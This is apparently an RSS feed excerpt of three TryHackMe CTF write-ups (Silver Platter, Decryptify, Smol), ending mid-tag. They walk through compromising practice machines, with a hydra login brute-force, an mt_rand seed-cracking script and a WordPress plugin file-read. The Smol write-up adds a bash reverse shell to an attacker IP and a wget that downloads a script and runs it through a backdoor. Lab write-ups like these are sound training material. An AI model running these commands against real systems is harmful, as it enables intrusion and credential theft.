            <content:encoded><![CDATA[<h3>TryHackMe — Silver Platter| WriteUp</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*XGH_F7Uk9755GEgn" /></figure><h3>Into.</h3><p>Hello Everyone it been long time since we have CTF machine to try hack me and now finally we are back. Let’s get right into it.</p><h3>Enumeration.</h3><h3>Port scanning.</h3><pre>PORT     STATE SERVICE    REASON         VERSION<br>22/tcp   open  ssh        syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey:<br>|   256 1b:1c:87:8a:fe:34:16:c9:f7:82:37:2b:10:8f:8b:f1 (ECDSA)<br>| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ0ia1tcuNvK0lfuy3Ep2dsElFfxouO3VghX5Rltu77M33pFvTeCn9t5A8NReq3felAqPi+p+/0eRRfYuaeHRT4=<br>|   256 26:6d:17:ed:83:9e:4f:2d:f6:cd:53:17:c8:80:3d:09 (ED25519)<br>|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKecigNtiy6tW5ojXM3xQkbtTOwK+vqvMoJZnIxVowju<br>80/tcp   open  http       syn-ack ttl 63 nginx 1.18.0 (Ubuntu)<br>|_http-server-header: nginx/1.18.0 (Ubuntu)<br>|_http-title: Hack Smarter Security<br>| http-methods:<br>|_  Supported Methods: GET HEAD<br>8080/tcp open  http-proxy syn-ack ttl 62<br>|_http-title: Error<br>| fingerprint-strings:<br>|   FourOhFourRequest, HTTPOptions:<br>|     HTTP/1.1 404 Not Found<br>|     Connection: close<br>|     Content-Length: 74<br>|     Content-Type: text/html<br>|     Date: Sun, 12 Jan 2025 03:46:40 GMT<br>|     &lt;html&gt;&lt;head&gt;&lt;title&gt;Error&lt;/title&gt;&lt;/head&gt;&lt;body&gt;404 - Not Found&lt;/body&gt;&lt;/html&gt;<br>|   GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SMBProgNeg, SSLSessionReq, Socks5, TLSSessionReq, TerminalServerCookie:<br>|     HTTP/1.1 400 Bad Request<br>|     Content-Length: 0<br>|     Connection: close<br>|   GetRequest:<br>|     HTTP/1.1 404 Not Found<br>|     Connection: close<br>|     Content-Length: 74<br>|     Content-Type: text/html<br>|     Date: Sun, 12 Jan 2025 03:46:39 GMT<br>|_    &lt;html&gt;&lt;head&gt;&lt;title&gt;Error&lt;/title&gt;&lt;/head&gt;&lt;body&gt;404 - Not Found&lt;/body&gt;&lt;/html&gt;</pre><p>So we having two Web port 8080, 80 and SSH. Since the RustScan shows 404 on the 8080 let’s start with 80.</p><h3>Port 80 Enumeration.</h3><p>Enumerating the web for a bit we can find a username as we can see in the image below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/919/0*nr8-ApiZtsX176jR" /></figure><p>Also from the image above we can find Something called Silverpeas. Which is a Collaborative workspace.</p><p>After spending sometime in the website i found nothing so decided to head to the port 8080 which is suppose to run the silverpeas.</p><h3>Port 8080</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/714/0*6yiAwZvr_YeRhsNT" /></figure><p>So since we have some username we maybe able to find the password somewhere.</p><p>After sometime i did not found it i search it maybe some hint in the port 80 site but i did not found. so i tried to look for some help.</p><p>Thanks to Mr.Bob.</p><p><a href="https://0xb0b.gitbook.io/writeups/tryhackme/2025/silver-platter">Silver Platter | Writeups</a></p><p>i got the idea there is a tool that i did not know about called ‘cewl&#39; which extract words from some site to tried to make a password list.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/0*OoDhBsho6pqdL-AR.png" /></figure><p><a href="https://github.com/digininja/CeWL">GitHub — digininja/CeWL: CeWL is a Custom Word List GeneratorGitHub</a></p><p>and from there i tried to do the rest on my own. given these info we can get all the words that are possibly a password and save it.</p><pre>cewl http://silver.thm -w newpasswd</pre><p>now we have the word-list we can use hydra to brute-force it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/551/0*OnnnS5szvZ-rhFMs" /></figure><p>i capture the request to get the necessary information.</p><pre>and here the hydra command.<br><br>hydra -l scr1ptkiddy -P ./newpasswd  silver.thm -s 8080 http-post-form &quot;/silverpeas/AuthenticationServlet:Login=^USER^&amp;Password=^PASS^&amp;DomainId=0:F=Login or password incorrect&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*iJHf9HSxwgTa4otY" /></figure><p>and here we have it. Thank Mr.Bob again :)</p><p>so after login i spend much time looking around and i found some IDOR to find other users.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*NuppQhHJFIeu1Xxg" /></figure><p>the userId field we can change it to find more users. we can also find a user called manager.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*o5oYt1NGRIwwx5Df" /></figure><h3>Shell as Tim</h3><p>so after this IDOR i thought i might be able to find more but there is something that distract me.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/16/0*8wzdtq2HR_4tQckm.png" /></figure><p><a href="https://rhinosecuritylabs.com/research/silverpeas-file-read-cves/">Silverpeas App: Multiple CVEs leading to File Read on Server — Rhino Security LabsRhino Security Labs</a></p><p>Here we can see a CVE that allows for file read what made me work with this that Tylor him self was part of it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*aKzMojFzpWts1KTN" /></figure><p>But it did not actually work. :(</p><p>After some time i notice something odd when we try to view the messages we can see and Id field which would yet again give us an IDOR on the messages here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*DlyeY8CvBMw0jZp0" /></figure><p>i checked from 5–0 but nothing interesting was there but the number 6 was the lucky number.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*JZ6bLFiB7o2kpHOJ" /></figure><p>with that we can login via SSH.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/0*qKrIE8HV0iG_K7S6" /></figure><h3>Shell as Root.</h3><p>The Rooting process was quite easy first thing was odd to me here when i checked the home directory the tim home directory was owned by the root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/923/0*KxKba1_vXnFKz2SO" /></figure><p>so i used the id command to check the user groups. then i saw this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/0*lliaptmdxPfhEV6H" /></figure><p>In Linux, the adm group is a user group that allows its members to read certain system logs and perform additional administrative tasks. Members of the adm group can access log files located in directories like /var/log, which are crucial for monitoring and troubleshooting the system. This group is useful for users who need to view logs without having full superuser privileges.</p><p>with that we can check the logs and see what we have there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*tPJlsqOuavjPlRGv" /></figure><p>So there are quite a lot of logs but we gonna focus on this first as it some time contain creds in it.</p><p>And indeed in the file auth.log.2 i found this some DB password and user but i can not connect to the database from the machine since psql is not installed there must be some use for this password.</p><p>And as you may guess it just password reuse vulnerability i reused this password to access Tyler user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ESCl77Vp89c548jI" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/839/0*irgYGaHQwrPw-ijF" /></figure><p>then from here its very simple using the command sudo -l we can see that Tyler user has root access on everything.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*NtgLWrND80qSQVBZ" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/0*M6qK0-nUwEKoEz0F" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/919/0*_B8T_XCAcuxcUhII" /></figure><h3>final thought.</h3><p>This machine was realistic quite more that others i have played for example the IDOR may exist in such a way as we exploited and password reuse is one of the more common vulnerability people fall for. Great job from Tyler and Hack Smarter Community. 😄</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=19a8e4bcba19" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe — Decryptify| WriteUp]]></title>
            <link>https://medium.com/@jfjbn4/tryhackme-decryptify-writeup-b1dfd32ea52d?source=rss-f262b6f35880------2</link>
            <guid isPermaLink="false">https://medium.com/p/b1dfd32ea52d</guid>
            <category><![CDATA[thm-walkthrough]]></category>
            <category><![CDATA[thm]]></category>
            <category><![CDATA[thm-writeup]]></category>
            <category><![CDATA[crypto-analysis]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[pythonic01]]></dc:creator>
            <pubDate>Sun, 16 Feb 2025 10:34:59 GMT</pubDate>
            <atom:updated>2025-02-16T10:34:59.579Z</atom:updated>
            <content:encoded><![CDATA[<h3>TryHackMe — Decryptify| WriteUp</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/0*_QLDH4ib6_3wGjW_" /></figure><h3>Into</h3><p>Hello everyone yet again wonderful machine hopefully let’s dive right into it.</p><h3>Enumeration.</h3><pre>PORT     STATE SERVICE REASON         VERSION<br>22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey:<br>|   3072 ac:da:59:62:97:38:0f:05:be:1f:17:da:33:dc:6a:e4 (RSA)<br>| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDWr5CYs2rQ4+KaoZ7IxpR1eMCXp959NcdkOTxV/on8TYD2rsisu/Ic4gZho1gHu8WI0VPPlsPJgmKftpfONFXCRI6YJY3Mp3rvfIQHVw/khOVvS00ItnLWdFqY6pgTtPO1yc7BjCFR9/+wWfiFO13AmqI4sKU/4RzQa4ZbuL5jXHIVpeOxYad3TJ9OOSLUFC+NL2vPXwZywscNisZMmZq9HGkscILd6C6o6dgX77gTV9/yCoTAFd9G8uFKE4K6Xr3/O8ONSBmzq+Klhsat8HLxFgJAYIUIJ1N4UqhBmxjrBxMJNtA6Ig/13yAa5X9HtgBnO+lTGbD9+aSorLBWlMxBhk9BB3eHflXnWFTmgz5cEPKD9gM2KoRuqeuIQgz6kADv6vi57CQEnorOHtpbGvERlgLQ2M5bUccH2W7WutwUx6brKZB1UxRUAxzdcYBBM9Si3RdO+3HuYZKY1fWFIIBTJEmzp6Oxt1sBoA8qGgqUGiAw5kcIHp7ZNqoedJILzVM=<br>|   256 17:b3:26:5d:cf:37:1a:27:cb:ab:49:35:7a:53:f2:69 (ECDSA)<br>| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPue04Dvo5S0dKU1ecOzNnk84RR3QbcwAWxKW2aVrb4iYj7MvDFrjB4z7/zeHvp+YTPYR3wF4Ge9Sb2d7yHnkNs=<br>|   256 a1:98:d5:c8:cc:05:28:98:d7:b4:aa:43:d0:96:40:ea (ED25519)<br>|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP0Sdd2f4RCAJP6wx3XkcNu1prfQMgcoPmapVmgjWdz5<br>1337/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))<br>| http-cookie-flags:<br>|   /:<br>|     PHPSESSID:<br>|_      httponly flag not set<br>| http-methods:<br>|_  Supported Methods: GET HEAD POST OPTIONS<br>|_http-title: Login - Decryptify<br>|_http-server-header: Apache/2.4.41 (Ubuntu)<br>Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port<br>Device type: general purpose<br>Running: Linux 4.X</pre><p>So we have website on 1337 let’s check what it has.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*GEmm4Rz_V0cv4mvz" /></figure><p>We have this login page am gonna use feroxbrute to find more about the website.</p><pre>301      GET        9l       28w      316c http://10.10.46.118:1337/js =&gt; http://10.10.46.118:1337/js/<br>200      GET        1l       15w      723c http://10.10.46.118:1337/js/api.js<br>200      GET       28l       66w     1043c http://10.10.46.118:1337/api.php<br>200      GET        7l     1031w    78129c http://10.10.46.118:1337/js/bootstrap.bundle.min.js<br>200      GET        6l     2272w   220780c http://10.10.46.118:1337/css/bootstrap.min.css<br>200      GET       76l      184w     3220c http://10.10.46.118:1337/<br>301      GET        9l       28w      324c http://10.10.46.118:1337/javascript =&gt; http://10.10.46.118:1337/javascript/<br>301      GET        9l       28w      317c http://10.10.46.118:1337/css =&gt; http://10.10.46.118:1337/css/<br>301      GET        9l       28w      324c http://10.10.46.118:1337/phpmyadmin =&gt; http://10.10.46.118:1337/phpmyadmin/<br>301      GET        9l       28w      318c http://10.10.46.118:1337/logs =&gt; http://10.10.46.118:1337/logs/<br>200      GET        9l       88w      644c http://10.10.46.118:1337/logs/app.log</pre><p>So we have some interesting files the first one that attract my attention was api.php let&#39;s check it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*58h2Qvd9zo9u9beh" /></figure><p>hmm so it ask for a password so let’s look more into the files we have file with the same name under the js/api.js.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*DvzPA73-pnZDouyg" /></figure><p>so obfuscated code am gonna use GPT to trying to understand what is this code doing.</p><pre>const array = [<br>  &#39;16OTYqOr&#39;, <br>  &#39;861cPVRNJ&#39;, <br>  &#39;474AnPRwy&#39;, <br>  &#39;H7gY2tJ9wQzD4rS1&#39;, <br>  &#39;5228dijopu&#39;, <br>  &#39;29131EDUYqd&#39;, <br>  &#39;8756315tjjUKB&#39;, <br>  &#39;1232020YOKSiQ&#39;, <br>  &#39;7042671GTNtXE&#39;, <br>  &#39;1593688UqvBWv&#39;, <br>  &#39;90209ggCpyY&#39;<br>];<br>function getValue(index) {<br>  return array[index - 0x165];  // Offset to match obfuscated indexes<br>}<br>const c = getValue(0x169); // Resolves to &#39;H7gY2tJ9wQzD4rS1&#39;<br>console.log(c); // Output: &#39;H7gY2tJ9wQzD4rS1&#39;</pre><p>using GPT we can see that this always return the same results H7gY2tJ9wQzD4rS1 i think this is the password for the api.php let see.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*F7uzXRzUfJFiGzvA" /></figure><p>and indeed it was the password but before i go more into this there is a log file let’s check it out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*OBhehnRfKf5-N1Et" /></figure><p>Hmm interesting but gonna put this away for now and am gonna check the api.php.</p><h3>Flag 1</h3><p>so after something i came up with the following requirement.</p><h3>Decode the old invite code</h3><p>We need to do this in order to find the random value</p><h3>we need some way to get feeling of the seed value</h3><p>if we are able to find the seed value we can reverse the operation.</p><h3>finding the seed will require finding the constant value</h3><p>we need to find the constant value in order to find the seed</p><p>So after spending more time i found that its not practical to use mt_rand for cryptographic operation as it not secure. I also found that the relation between the seed value and the resulted random value is one to one relationship.</p><p>With that i start searching for some way to get feeling of the seed and i found this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/0*gcpQikwKkvOUIC9F.png" /></figure><p><a href="https://github.com/openwall/php_mt_seed">GitHub — openwall/php_mt_seed: PHP mt_rand() seed crackerGitHub</a></p><p>i used this C code to find the seed and i got this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*AB_4ThfD5UnNgHy_" /></figure><p>so i tested these but they not work now that i realized i maybe did something studied and that’s way it did not work but we gonna continue on the path i found and i will be returning to this to test me.</p><p>After that i take the lower range and upper range and make a PHP code that brute-force the range trying to find the constant value not the seed.</p><p>Because if we are able to find the constant value are then are able to find the seed easily.</p><pre>&lt;?php<br>// Our token generation function.<br>function calculate_seed_value($email, $constant_value) {<br>    $email_length = strlen($email);<br>    $email_hex = hexdec(substr($email, 0, 8));<br>    $seed_value = hexdec($email_length + $constant_value + $email_hex);<br>    return $seed_value;<br>}<br><br>$email = &quot;alpha@fake.thm&quot;;<br>// The target random value <br>$target = 1348337122;<br>$lower_bound = 1324931;      // smallest sample constant<br>$upper_bound = 2232092689;    // largest sample constant<br>echo &quot;Starting brute-force search for a constant that produces random value: $target\n&quot;;<br>echo &quot;Searching between $lower_bound and $upper_bound...\n&quot;;<br>$found = false;<br>$progressStep = 1000000; <br>for ($constant = $lower_bound; $constant &lt;= $upper_bound; $constant++) {<br>    $seed_value = calculate_seed_value($email, $constant);<br>    mt_srand($seed_value);<br>    $random = mt_rand();<br>    if ($random === $target) {<br>        echo &quot;Found matching constant: $constant\n&quot;;<br>        $found = true;<br>        break;<br>    }<br>    <br>    if ($constant % $progressStep === 0) {<br>        echo &quot;Checked constant: $constant\n&quot;;<br>    }<br>}<br>if (!$found) {<br>    echo &quot;No constant found in the range $lower_bound to $upper_bound that produces the target value.\n&quot;;<br>}<br>?&gt;</pre><p>after 2 min i was able to find it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/977/0*QroFsCJAzIte3Amj" /></figure><p>now that i have the constant i can generate using the same formula but with the email we found in the log file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*BAhjs6x_E5zqtynm" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*NkyZRbCoWGfwG2i2" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*j2aAOrCco5pHGRc9" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*X8mqnFXPmD7QZvnW" /></figure><h3>Flag 2.</h3><p>After we get access i spend sometime digging into the role and trying to crack it but that was not the why</p><p>I notice something odd in the source code of the web page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1017/0*toyGOnYmpYIyq1AN" /></figure><p>this form was doing something but i do not know what it doing so i change the type.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Is9rp1g8rWuJ4VFs" /></figure><p>When i modified it i get the following results.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*OGNwu1O2LyZVpLxf" /></figure><p>Few things we can notice the error message tell us something about padding the first thing comes to my mind is a known vulnerability called Oracle Padding Attack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/180/0*-50TkbKpA8Rc2jdV" /></figure><p><a href="https://medium.com/@masjadaan/oracle-padding-attack-a61369993c86">Oracle Padding AttackMedium</a></p><p>We can find more info here</p><p>i spend sometime testing with some tools like padbuster and another tool but none of them gives results and then i tested with pader.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/0*kExMU_xKes8wlDfo.png" /></figure><p><a href="https://github.com/glebarez/padre">GitHub — glebarez/padre: Blazing fast, advanced Padding Oracle exploitGitHub</a></p><p>and then i got this. the first argument is the URL follow by the cookies and finally the encryption have from the get request we saw earlier.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*uN9ZeYkapr1nqaYP" /></figure><p>This here display the date the Year.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/819/0*h4CKFqyB5Qe8k6M3" /></figure><p>and now let’s attempt to encrypt some payload inf order to execute it on the server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*inKycdyNpIOcqsTF" /></figure><p>Now we just replace the old value with this and we shall get the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*yNIam7RTgvamU2mr" /></figure><h3>Final thought</h3><p>this machine was so much fun like really fun the crypto graphic analysis and reversing something i really like to do 👏.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b1dfd32ea52d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe — Smol | WriteUp]]></title>
            <link>https://medium.com/@jfjbn4/tryhackme-smol-writeup-5c92ef2a0843?source=rss-f262b6f35880------2</link>
            <guid isPermaLink="false">https://medium.com/p/5c92ef2a0843</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[wordpress-hacking]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <dc:creator><![CDATA[pythonic01]]></dc:creator>
            <pubDate>Mon, 27 Jan 2025 07:42:28 GMT</pubDate>
            <atom:updated>2025-01-27T07:42:28.761Z</atom:updated>
            <content:encoded><![CDATA[<h3>TryHackMe — Smol | WriteUp</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*vKSlzqfCBNqmZjMV" /></figure><h3>into.</h3><p>Welcome everyone Again !! today we have freshly new machine which appear to be Wordpress machine let’s get right into it.</p><h3>Enumeration</h3><pre>PORT   STATE    SERVICE REASON         VERSION<br>22/tcp open     ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey:<br>|   3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)<br>| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDMc4hLykriw3nBOsKHJK1Y6eauB8OllfLLlztbB4tu4c9cO8qyOXSfZaCcb92uq/Y3u02PPHWq2yXOLPler1AFGVhuSfIpokEnT2jgQzKL63uJMZtoFzL3RW8DAzunrHhi/nQqo8sw7wDCiIN9s4PDrAXmP6YXQ5ekK30om9kd5jHG6xJ+/gIThU4ODr/pHAqr28bSpuHQdgphSjmeShDMg8wu8Kk/B0bL2oEvVxaNNWYWc1qHzdgjV5HPtq6z3MEsLYzSiwxcjDJ+EnL564tJqej6R69mjII1uHStkrmewzpiYTBRdgi9A3Yb+x8NxervECFhUR2MoR1zD+0UJbRA2v1LQaGg9oYnYXNq3Lc5c4aXz638wAUtLtw2SwTvPxDrlCmDVtUhQFDhyFOu9bSmPY0oGH5To8niazWcTsCZlx2tpQLhF/gS3jP/fVw+H6Eyz/yge3RYeyTv3ehV6vXHAGuQLvkqhT6QS21PLzvM7bCqmo1YIqHfT2DLi7jZxdk=<br>|   256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)<br>| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJNL/iO8JI5DrcvPDFlmqtX/lzemir7W+WegC7hpoYpkPES6q+0/p4B2CgDD0Xr1AgUmLkUhe2+mIJ9odtlWW30=<br>|   256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)<br>|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFG/Wi4PUTjReEdk2K4aFMi8WzesipJ0bp0iI0FM8AfE<br>80/tcp filtered http    no-response<br>Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port<br>Device type: general purpose<br>Running: Linux 4.X<br>OS CPE: cpe:/o:linux:linux_kernel:4.15<br>OS details: Linux 4.15</pre><p>As you may see here we have classic SSH, HTTP. The web server will mostly run wordpress as in the machine disrecption</p><blockquote><em>At the heart of Smol is a WordPress website, a common target due to its extensive plugin ecosystem. The machine showcases a publicly known vulnerable plugin, highlighting the risks of neglecting software updates and security patches. Enhancing the learning experience, Smol introduces a backdoored plugin, emphasizing the significance of meticulous code inspection before integrating third-party components</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Vd3Syk9HJ445NiDf" /></figure><p>As an assumption i think the exploit involve some XSS and SSRF.</p><p><strong>SSRF (Server-Side Request Forgery):</strong></p><p>SSRF is a security vulnerability where an attacker manipulates a server to make requests to unintended locations. It can lead to unauthorized access to internal systems and sensitive data leaks.</p><p><strong>XSS (Cross-Site Scripting):</strong></p><p>XSS is a vulnerability where an attacker injects malicious scripts into web pages viewed by others. It allows attackers to steal cookies, session tokens, or redirect users to malicious sites.</p><h3>Wpscan</h3><p>Since we know its wordpress we can use wpscan a great tool for enumerate wordpress applications.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*rOhuILk639TbPmUi" /></figure><p>As we can see in the image my assumption was indeed correct let’s try to look more into thing plugin.</p><h3>Shell as www-data</h3><p>So after i find this i start looking for how it maybe exploited the xss is not quite useful let’s look.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/0*KIgycvyk_-EJLdjn.png" /></figure><p><a href="https://github.com/sullo/advisory-archives/blob/master/wordpress-jsmol2wp-CVE-2018-20463-CVE-2018-20462.txt">advisory-archives/wordpress-jsmol2wp-CVE-2018–20463-CVE-2018–20462.txt at master · sullo/advisory-archivesGitHub</a></p><p>This repo here explain both the SSRF and XSS. After using the SSRF we can find a creds that allow us to access the wordpress management console.</p><pre>Using this command it will return us the DB creds<br><br>curl http://www.smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php\?isform\=true\&amp;call\=getRawDataFromDatabase\&amp;query\=php://filter/resource\=../../../../wp-config.php</pre><p>Not ganna lie to you i spend much more time after i find this creds looking more because i thought this only work on the DB on the localhost. But i was mistaken once again, after a while i think, i said the ssh require public key, and when i enumerate the users .ssh file looking for the ssh i found nothing which is mostly because premissions i do not have access. So i said why do not i uses these same creds to login into the console management and it actually works.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*_YHRqOZh1rKYWIu1" /></figure><p>We can also see this in the pages.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*YwqqOgtHHT-vgxQ7" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Zxkzd84yp5NIWslT" /></figure><p>So this is intresting we can see here that it need to check from some backdoor via plugin know as “Hello Dolly” for some reason attackers love to spawn backdoor in the plugin. But do not fail in the same error as me, when i search it appear to be in a folder called “hello-dolly/hellp.php” but this is not the case it actually exist in the root directory of the plugins directory inside the wp-content directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*hvdoYZN8ye6Qhpp9" /></figure><p>So using our SSRF we can read the content of the hello.php file via this command.</p><pre>curl http://www.smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php\?isform\=true\&amp;call\=getRawDataFromDatabase\&amp;query\=php://filter/resource\=../../../../wp-content/plugins/hello.php</pre><p>so from the image above let’s see what that line of code does.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*QLhGQVF_cI2Jc7Yj" /></figure><p>so as you can see it evaluate the expression when is taking cmd pramater in the url and executed on the system. Let’s exploit it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*0ASf2aeMtb4ichk5" /></figure><p>As you can see we are able to execute commands on the server and get the results back let’s make reverse shell and make some connections.</p><p>From here getting the shell is quite easy to do.</p><p>First i will prepare reverse shell and save it in ex.sh file.</p><pre>#/bin/bash<br>bash -i &gt;&amp; /dev/tcp/10.11.96.110/9001 0&gt;&amp;1</pre><p>then i will upload it into the server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*zN6T3JHzrgTdUBLh" /></figure><p>Everything after ‘-b’ is cookies so feel free to executed directly from the browser of capture the cookies from burp suite.</p><pre>http://www.smol.thm/wp-admin/\?cmd\=wget%20http://10.11.96.110:8000/ex.sh%20-O%20/tmp/ex.sh</pre><p>then we need to change the permissions or we can just use bash i did not try using bash but it should work fine. anyway i change the permissions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*JZXOifL2nK2vABz_" /></figure><pre>http://www.smol.thm/wp-admin/\?cmd\=chmod%20777%20/tmp/ex.sh</pre><p>lastly we run it. i used the browser in this step.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/464/0*HwHCYnJq-W_4nBe2" /></figure><pre>cmd=bash+%2Ftmp%2Fex.sh</pre><p>And we have shell :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1009/0*cWJY6PQOw1ETotms" /></figure><h3>Shell as diego</h3><p>So once i get foothold on the system the first thing i think about is to check the database since we have the creds.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/809/0*zgraqEhNaH3fzYTV" /></figure><p>i took these passwords and save them into a file and run john on them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*kUxWqr06XzJWD3Pp" /></figure><p>after sometime john did find a password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*A9xppmkAT4pLyMpf" /></figure><p>i test this password on the users and i found it belong to diego.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/831/0*1Mr3ES_uQwtRjGgR" /></figure><p>From diego’s home directory we can find our first flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/703/0*D4GedJrjGKBPgxDH" /></figure><p>from there just to make my life easier i generate ssh key and login via ssh. and this is the process very simple.</p><pre>ssh-keygen -f &lt;username&gt;<br><br>cat diego.pub &gt; .ssh/authorized_keys<br><br>copy the private key into your machine with the file named diego<br><br>change the permissions of the key to 600<br>chmod 600 key<br><br>ssh diego@smol.thm -i key</pre><h3>Shell as think</h3><p>after enumerate a bit i found another ssh key for the user think in his home directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/738/0*ySjwRW-KoXtMX39y" /></figure><p>let’s do the same last three steps and login via ssh as the user think.</p><h3>Shell as gege</h3><p>here i was a bit tricky i really could not find it so i refers to bob’s write-up and for my unfortunate luck it was very simple the problem is in how su configure we can find it in /etc/pam.d/su so we just su into gege and it will works. the unlucky part is that there is a db file in the /opt folder i check it it contain hashes so i tried to again use john to crack them because they appear to be backups so it may be different and indeed i found it as you can see in the image below but the only issue is i was trying to gege from diego which is not working it require the password if it just use think i would have been solve it. and i think this is the idea you find that you try to crack it you accidentally find it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/786/0*9AktnOEhhvi8lEvw" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/981/0*z3wmXxVdNtLIPlNz" /></figure><figure><img 